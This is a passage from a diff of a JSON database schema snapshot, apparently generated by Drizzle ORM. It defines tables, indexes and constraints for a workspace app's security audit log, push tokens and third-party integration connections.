"columnFormats": { + "name": "columnFormats", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "columnWidths": { + "name": "columnWidths", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "rowHeights": { + "name": "rowHeights", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "ranges": { + "name": "ranges", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "conditionalFormats": { + "name": "conditionalFormats", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "regions": { + "name": "regions", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "sheet_tabs_page_id_idx": { + "name": "sheet_tabs_page_id_idx", + "columns": [ + { + "expression": "pageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "sheet_tabs_pageId_pages_id_fk": { + "name": "sheet_tabs_pageId_pages_id_fk", + "tableFrom": "sheet_tabs", + "tableTo": "pages", + "columnsFrom": [ + "pageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "sheet_tabs_page_tab_unique": { + "name": "sheet_tabs_page_tab_unique", + "nullsNotDistinct": false, + "columns": [ + "pageId", + "tabIndex" + ] + } + }, + "policies": {}, + "checkConstraints": { + "sheet_tabs_extent_non_negative": { + "name": "sheet_tabs_extent_non_negative", + "value": "\"sheet_tabs\".\"rowCount\" >= 0 AND \"sheet_tabs\".\"columnCount\" >= 0" + } + }, + "isRLSEnabled": false + }, + "public.security_audit_log": { + "name": "security_audit_log", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "event_type": { + "name": "event_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "session_id": { + "name": "session_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "service_id": { + "name": "service_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "resource_type": { + "name": "resource_type", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "resource_id": { + "name": "resource_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "ip_address": { + "name": "ip_address", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "ip_bidx": { + "name": "ip_bidx", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "user_agent": { + "name": "user_agent", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "geo_location": { + "name": "geo_location", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "details": { + "name": "details", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "risk_score": { + "name": "risk_score", + "type": "real", + "primaryKey": false, + "notNull": false + }, + "anomaly_flags": { + "name": "anomaly_flags", + "type": "text[]", + "primaryKey": false, + "notNull": false + }, + "timestamp": { + "name": "timestamp", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "chain_seq": { + "name": "chain_seq", + "type": "bigserial", + "primaryKey": false, + "notNull": true + }, + "previous_hash": { + "name": "previous_hash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "event_hash": { + "name": "event_hash", + "type": "text", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "idx_security_audit_timestamp": { + "name": "idx_security_audit_timestamp", + "columns": [ + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_security_audit_user_timestamp": { + "name": "idx_security_audit_user_timestamp", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_security_audit_event_type": { + "name": "idx_security_audit_event_type", + "columns": [ + { + "expression": "event_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_security_audit_resource": { + "name": "idx_security_audit_resource", + "columns": [ + { + "expression": "resource_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "resource_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_security_audit_ip": { + "name": "idx_security_audit_ip", + "columns": [ + { + "expression": "ip_address", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_security_audit_ip_bidx": { + "name": "idx_security_audit_ip_bidx", + "columns": [ + { + "expression": "ip_bidx", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_security_audit_event_hash": { + "name": "idx_security_audit_event_hash", + "columns": [ + { + "expression": "event_hash", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_security_audit_chain_seq": { + "name": "idx_security_audit_chain_seq", + "columns": [ + { + "expression": "chain_seq", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_security_audit_risk_score": { + "name": "idx_security_audit_risk_score", + "columns": [ + { + "expression": "risk_score", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_security_audit_session": { + "name": "idx_security_audit_session", + "columns": [ + { + "expression": "session_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_security_audit_org_chain_seq": { + "name": "idx_security_audit_org_chain_seq", + "columns": [ + { + "expression": "(\"details\" ->> 'orgId')", + "asc": true, + "isExpression": true, + "nulls": "last" + }, + { + "expression": "chain_seq", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "(\"security_audit_log\".\"details\" ->> 'orgId') IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_security_audit_org_occurred_at": { + "name": "idx_security_audit_org_occurred_at", + "columns": [ + { + "expression": "(\"details\" ->> 'orgId')", + "asc": true, + "isExpression": true, + "nulls": "last" + }, + { + "expression": "(\"details\" ->> 'occurredAt')", + "asc": true, + "isExpression": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "(\"security_audit_log\".\"details\" ->> 'orgId') IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_security_audit_outbox_id": { + "name": "idx_security_audit_outbox_id", + "columns": [ + { + "expression": "(\"details\" ->> 'outboxId')", + "asc": true, + "isExpression": true, + "nulls": "last" + }, + { + "expression": "chain_seq", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "(\"security_audit_log\".\"details\" ->> 'outboxId') IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "security_audit_log_user_id_users_id_fk": { + "name": "security_audit_log_user_id_users_id_fk", + "tableFrom": "security_audit_log", + "tableTo": "users", + "columnsFrom": [ + "user_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.user_page_views": { + "name": "user_page_views", + "schema": "", + "columns": { + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "pageId": { + "name": "pageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "viewedAt": { + "name": "viewedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "user_page_views_user_id_idx": { + "name": "user_page_views_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "user_page_views_page_id_idx": { + "name": "user_page_views_page_id_idx", + "columns": [ + { + "expression": "pageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "user_page_views_user_page_idx": { + "name": "user_page_views_user_page_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "pageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "user_page_views_userId_users_id_fk": { + "name": "user_page_views_userId_users_id_fk", + "tableFrom": "user_page_views", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "user_page_views_pageId_pages_id_fk": { + "name": "user_page_views_pageId_pages_id_fk", + "tableFrom": "user_page_views", + "tableTo": "pages", + "columnsFrom": [ + "pageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "user_page_views_userId_pageId_pk": { + "name": "user_page_views_userId_pageId_pk", + "columns": [ + "userId", + "pageId" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.user_hotkey_preferences": { + "name": "user_hotkey_preferences", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "hotkeyId": { + "name": "hotkeyId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "binding": { + "name": "binding", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "user_hotkey_preferences_user_hotkey_idx": { + "name": "user_hotkey_preferences_user_hotkey_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "hotkeyId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "user_hotkey_preferences_user_idx": { + "name": "user_hotkey_preferences_user_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "user_hotkey_preferences_userId_users_id_fk": { + "name": "user_hotkey_preferences_userId_users_id_fk", + "tableFrom": "user_hotkey_preferences", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.push_notification_tokens": { + "name": "push_notification_tokens", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "token": { + "name": "token", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "platform": { + "name": "platform", + "type": "PushPlatformType", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "deviceId": { + "name": "deviceId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "deviceName": { + "name": "deviceName", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "isActive": { + "name": "isActive", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "webPushSubscription": { + "name": "webPushSubscription", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "lastUsedAt": { + "name": "lastUsedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "failedAttempts": { + "name": "failedAttempts", + "type": "text", + "primaryKey": false, + "notNull": false, + "default": "'0'" + }, + "lastFailedAt": { + "name": "lastFailedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "push_notification_tokens_user_id_idx": { + "name": "push_notification_tokens_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "push_notification_tokens_token_idx": { + "name": "push_notification_tokens_token_idx", + "columns": [ + { + "expression": "token", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "push_notification_tokens_platform_idx": { + "name": "push_notification_tokens_platform_idx", + "columns": [ + { + "expression": "platform", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "push_notification_tokens_active_idx": { + "name": "push_notification_tokens_active_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "isActive", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "push_notification_tokens_userId_users_id_fk": { + "name": "push_notification_tokens_userId_users_id_fk", + "tableFrom": "push_notification_tokens", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.global_assistant_config": { + "name": "global_assistant_config", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "enabled_user_integrations": { + "name": "enabled_user_integrations", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "drive_overrides": { + "name": "drive_overrides", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "inherit_drive_integrations": { + "name": "inherit_drive_integrations", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": {}, + "foreignKeys": { + "global_assistant_config_user_id_users_id_fk": { + "name": "global_assistant_config_user_id_users_id_fk", + "tableFrom": "global_assistant_config", + "tableTo": "users", + "columnsFrom": [ + "user_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "global_assistant_config_user_id_unique": { + "name": "global_assistant_config_user_id_unique", + "nullsNotDistinct": false, + "columns": [ + "user_id" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.integration_audit_log": { + "name": "integration_audit_log", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "drive_id": { + "name": "drive_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "agent_id": { + "name": "agent_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "connection_id": { + "name": "connection_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "tool_name": { + "name": "tool_name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "input_summary": { + "name": "input_summary", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "success": { + "name": "success", + "type": "boolean", + "primaryKey": false, + "notNull": true + }, + "response_code": { + "name": "response_code", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "error_type": { + "name": "error_type", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "error_message": { + "name": "error_message", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "duration_ms": { + "name": "duration_ms", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "integration_audit_log_drive_id_idx": { + "name": "integration_audit_log_drive_id_idx", + "columns": [ + { + "expression": "drive_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "integration_audit_log_connection_id_idx": { + "name": "integration_audit_log_connection_id_idx", + "columns": [ + { + "expression": "connection_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "integration_audit_log_created_at_idx": { + "name": "integration_audit_log_created_at_idx", + "columns": [ + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "integration_audit_log_drive_created_at_idx": { + "name": "integration_audit_log_drive_created_at_idx", + "columns": [ + { + "expression": "drive_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "integration_audit_log_drive_id_drives_id_fk": { + "name": "integration_audit_log_drive_id_drives_id_fk", + "tableFrom": "integration_audit_log", + "tableTo": "drives", + "columnsFrom": [ + "drive_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "integration_audit_log_agent_id_pages_id_fk": { + "name": "integration_audit_log_agent_id_pages_id_fk", + "tableFrom": "integration_audit_log", + "tableTo": "pages", + "columnsFrom": [ + "agent_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "integration_audit_log_user_id_users_id_fk": { + "name": "integration_audit_log_user_id_users_id_fk", + "tableFrom": "integration_audit_log", + "tableTo": "users", + "columnsFrom": [ + "user_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "integration_audit_log_connection_id_integration_connections_id_fk": { + "name": "integration_audit_log_connection_id_integration_connections_id_fk", + "tableFrom": "integration_audit_log", + "tableTo": "integration_connections", + "columnsFrom": [ + "connection_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.integration_connections": { + "name": "integration_connections", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "provider_id": { + "name": "provider_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "drive_id": { + "name": "drive_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "integration_connection_status", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "status_message": { + "name": "status_message", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "credentials": { + "name": "credentials", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "base_url_override": { + "name": "base_url_override", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "config_overrides": { + "name": "config_overrides", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "account_metadata": { + "name": "account_metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "visibility": { + "name": "visibility", + "type": "integration_visibility", + "typeSchema": "public", + "primaryKey": false, + "notNull": false, + "default": "'owned_drives'" + }, + "oauth_state": { + "name": "oauth_state", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "suspended_by_policy": { + "name": "suspended_by_policy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "connected_by": { + "name": "connected_by", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "connected_at": { + "name": "connected_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "last_used_at": { + "name": "last_used_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "last_health_check": { + "name": "last_health_check", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "integration_connections_provider_id_idx": { + "name": "integration_connections_provider_id_idx", + "columns": [ + { + "expression": "provider_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "integration_connections_user_id_idx": { + "name": "integration_connections_user_id_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "integration_connections_drive_id_idx": { + "name": "integration_connections_drive_id_idx", + "columns": [ + { + "expression": "drive_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "integration_connections_suspended_by_policy_idx": { + "name": "integration_connections_suspended_by_policy_idx", + "columns": [ + { + "expression": "drive_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"integration_connections\".\"suspended_by_policy\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "integration_connections_provider_id_integration_providers_id_fk": { + "name": "integration_connections_provider_id_integration_providers_id_fk", + "tableFrom": "integration_connections", + "tableTo": "integration_providers", + "columnsFrom": [ + "provider_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "integration_connections_user_id_users_id_fk": { + "name": "integration_connections_user_id_users_id_fk", + "tableFrom": "integration_connections", + "tableTo": "users", + "columnsFrom": [ + "user_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "integration_connections_drive_id_drives_id_fk": { + "name": "integration_connections_drive_id_drives_id_fk", + "tableFrom": "integration_connections", + "tableTo": "drives", + "columnsFrom": [ + "drive_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "integration_connections_connected_by_users_id_fk": { + "name": "integration_connections_connected_by_users_id_fk", + "tableFrom": "integration_connections", + "tableTo": "users", + "columnsFrom": [ + "connected_by" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "integration_connections_user_provider": { + "name": "integration_connections_user_provider", + "nullsNotDistinct": false, + "columns": [ + "user_id", + "provider_id" + ] + }, + "integration_connections_drive_provider": { + "name": "integration_connections_drive_provider", + "nullsNotDistinct": false, + "columns": [ + "drive_id", + "provider_id" + ] + } + }, + "policies": {}, + "checkConstraints": { + "integration_connections_scope_chk": { + "name": "integration_connections_scope_chk", + "value": "(\"integration_connections\".\"user_id\" IS NOT NULL AND \"integration_connections\".\"drive_id\" IS NULL) OR (\"integration_connections\".\"user_id\" IS NULL AND \"integration_connections\".\"drive_id\" IS NOT NULL)" + } + }, + "isRLSEnabled": false + }, + "public.integration_providers": { + "name": "integration_providers", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "slug": { + "name": "slug", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "icon_url": { + "name": "icon_url", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "documentation_url": { + "name": "documentation_url", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "provider_type": { + "name": "provider_type", + "type": "integration_provider_type", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "config": { + "name": "config", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "openapi_spec": { + "name": "openapi_spec", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "is_system": { + "name": "is_system", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "created_by": { + "name": "created_by", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "drive_id": { + "name": "drive_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "enabled": { + "name": "enabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "integration_providers_slug_idx": { + "name": "integration_providers_slug_idx", + "columns": [ + { + "expression": "slug", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "integration_providers_drive_id_idx": { + "name": "integration_providers_drive_id_idx", + "columns": [ + { + "expression": "drive_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "integration_providers_created_by_users_id_fk": { + "name": "integration_providers_created_by_users_id_fk", + "tableFrom": "integration_providers", + "tableTo": "users", + "columnsFrom": [ + "created_by" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "integration_providers_drive_id_drives_id_fk": { + "name": "integration_providers_drive_id_drives_id_fk", + "tableFrom": "integration_providers", + "tableTo": "drives", + "columnsFrom": [ + "drive_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "integration_providers_slug_unique": { + "name": "integration_providers_slug_unique", + "nullsNotDistinct": false, + "columns": [ + "slug" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.integration_tool_grants": { + "name": "integration_tool_grants", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "agent_id": { + "name": "agent_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "connection_id": { + "name": "connection_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "allowed_tools": { + "name": "allowed_tools", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "denied_tools": { + "name": "denied_tools", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "read_only": { + "name": "read_only", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "rate_limit_override": { + "name": "rate_limit_override", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "integration_tool_grants_agent_id_idx": { + "name": "integration_tool_grants_agent_id_idx", + "columns": [ + { + "expression": "agent_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "integration_tool_grants_connection_id_idx": { + "name": "integration_tool_grants_connection_id_idx", + "columns": [ + { + "expression": "connection_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "integration_tool_grants_agent_id_pages_id_fk": { + "name": "integration_tool_grants_agent_id_pages_id_fk", + "tableFrom": "integration_tool_grants", + "tableTo": "pages", + "columnsFrom": [ + "agent_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "integration_tool_grants_connection_id_integration_connections_id_fk": { + "name": "integration_tool_grants_connection_id_integration_connections_id_fk", + "tableFrom": "integration_tool_grants", + "tableTo": "integration_connections", + "columnsFrom": [ + "connection_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "integration_tool_grants_agent_connection": { + "name": "integration_tool_grants_agent_connection", + "nullsNotDistinct": false, + "columns": [ + "agent_id", + "connection_id" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.personalization_candidates": { + "name": "personalization_candidates", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + 